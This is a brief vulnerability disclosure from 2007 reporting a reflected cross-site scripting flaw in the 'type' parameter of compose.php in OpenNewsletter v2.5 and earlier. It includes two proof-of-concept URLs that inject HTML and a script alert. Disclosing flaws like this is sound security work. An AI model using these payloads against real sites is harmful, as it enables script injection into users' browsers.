Software: OpenNewsletter Homepage: http://www.selfexile.com/projects/opennewsletter Affected version: v2.5 and below Overview: OpenNewsletter si a free, simple, and beautiful open source newsletter solution aimed at small-medium scale. Attack: A non-existant sanitization when parsing the PHP value 'type' on 'compose.php', leads to some XSS attacks. PoC: http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=html'%3C h1%3EXSS!%3C/h1%3E http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=';%3CSCR IPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';% 3C/script%3E Solution: not aware of at 12/6/2007. Credits: Manu (manuuu (at) darkprotocols (dot) net [email concealed]) ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program.